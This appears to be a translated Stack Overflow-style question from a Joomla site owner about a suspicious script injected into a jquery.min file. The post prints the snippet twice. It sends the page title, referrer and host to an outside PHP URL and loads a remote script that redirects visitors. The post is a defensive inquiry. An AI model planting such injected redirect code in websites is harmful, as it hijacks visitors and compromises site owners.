<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://www.vermessung-stuetz.de/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

这是在我的网站上(joomla主题),

我怀疑这段代码!

它将从以下网站加载脚本:

http://www.vermessung-stuetz.de/js/jquery.min.php?c_utt=snt2014&c_utm=http%3A%2F%2Fwww.vermessung-stuetz.de%2Fjs%2Fjquery.min.php%3Fdefault_keyword%3D[WEBSITE TITLE]%26se_referrer%3D[DOMAIN OF YOUR WEBSITE]%26source%3D[REFFERER]

如果我现在要执行该代码,则网址为:

http://www.vermessung-stuetz.de/js/jquery.min.php?c_utt=snt2014&c_utm=http%3A%2F%2Fwww.vermessung-stuetz.de%2Fjs%2Fjquery.min.php%3Fdefault_keyword%3Djoomla%2520-%2520What%2520is%2520this%2520javascript%2520code%2520doing%2520-%2520Stack%2520Overflow%26se_referrer%3Dhttp%253A%252F%252Fstackoverflow.com%252Fquestions%252Ftagged%252Fjavascript%26source%3Dstackoverflow.com

该脚本会将用户重定向到某个网站,但如果您访问该网站两次,它似乎会禁止您。我访问了我被重定向到的网址,我只看到了Google Chrome调查。
然后我尝试使用代理,你可能得到的一件事是:

window.location.href='/HH4t0?sid1=mix_keywords';

它隐藏在jquery.min文件中的事实让我相信它不是想要的东西。

它会创建一个脚本标记,在http://www.vermessung-stuetz.de/js/jquery.min.php“网站上发出请求。

漂亮的代码:

var a = '';
setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://www.vermessung-stuetz.de/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host;
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);
if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== '') {
    document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');
}
